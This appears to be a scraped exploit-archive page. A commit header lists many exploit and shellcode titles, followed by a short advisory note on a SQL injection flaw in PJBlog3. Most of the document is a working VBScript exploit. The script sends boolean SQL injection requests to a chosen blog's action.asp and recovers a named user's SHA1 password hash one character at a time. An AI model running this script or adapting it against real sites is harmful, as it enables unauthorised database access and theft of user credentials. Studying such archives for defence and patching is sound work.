880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
81 lines
No EOL
2.6 KiB
Text
81 lines
No EOL
2.6 KiB
Text
source: https://www.securityfocus.com/bid/34701/info
|
|
|
|
PJBlog3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
If WScript.Arguments.Count <> 2 Then
|
|
WScript.Echo "Usage: Cscript.exe Exp.vbs ........ ......."
|
|
WScript.Echo "Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam"
|
|
WScript.Quit
|
|
End If
|
|
|
|
attackUrl = WScript.Arguments(0)
|
|
attackUser = WScript.Arguments(1)
|
|
attackUrl = Replace(attackUrl,"\","/")
|
|
If Right(attackUrl , 1) <> "/" Then
|
|
attackUrl = attackUrl & "/"
|
|
End If
|
|
SHA1Charset = "0123456789ABCDEFJ"
|
|
strHoleUrl = attackUrl & "action.asp?action=checkAlias&cname=0kee"""
|
|
|
|
If IsSuccess(strHoleUrl & "or ""1""=""1") And Not IsSuccess(strHoleUrl & "and ""1""=""2") Then
|
|
WScript.Echo "......."
|
|
Else
|
|
WScript.Echo "......."
|
|
WScript.Quit
|
|
End If
|
|
|
|
For n=1 To 40
|
|
For i=1 To 17
|
|
strInject = strHoleUrl & " Or 0<(Select Count(*) From blog_member Where mem_name='" & attackUser & "' And mem_password>='" & strResult & Mid(SHA1Charset, i, 1) & "') And ""1""=""1"
|
|
If Not IsSuccess(strInject) Then
|
|
strResult = strResult & Mid(SHA1Charset, i-1, 1)
|
|
Exit For
|
|
End If
|
|
strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(SHA1Charset, i, 1)
|
|
WScript.StdOut.Write strPrint
|
|
Next
|
|
Next
|
|
WScript.Echo Chr(13) & Chr (10) & "Done!"
|
|
|
|
Function PostData(PostUrl)
|
|
Dim Http
|
|
Set Http = CreateObject("msxml2.serverXMLHTTP")
|
|
With Http
|
|
.Open "GET",PostUrl,False
|
|
.Send ()
|
|
PostData = .ResponseBody
|
|
End With
|
|
Set Http = Nothing
|
|
PostData =bytes2BSTR(PostData)
|
|
End Function
|
|
|
|
Function bytes2BSTR(vIn)
|
|
Dim strReturn
|
|
Dim I, ThisCharCode, NextCharCode
|
|
strReturn = ""
|
|
For I = 1 To LenB(vIn)
|
|
ThisCharCode = AscB(MidB(vIn, I, 1))
|
|
If ThisCharCode < &H80 Then
|
|
strReturn = strReturn & Chr(ThisCharCode)
|
|
Else
|
|
NextCharCode = AscB(MidB(vIn, I + 1, 1))
|
|
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
|
|
I = I + 1
|
|
End If
|
|
Next
|
|
bytes2BSTR = strReturn
|
|
End Function
|
|
|
|
Function IsSuccess(PostUrl)
|
|
|
|
strData = PostData(PostUrl)
|
|
'Wscript.Echo strData
|
|
if InStr(strData,"check_error") >0 then
|
|
IsSuccess = True
|
|
Else
|
|
IsSuccess = False
|
|
End If
|
|
'Wscript.Sleep 500 '.......
|
|
End Function |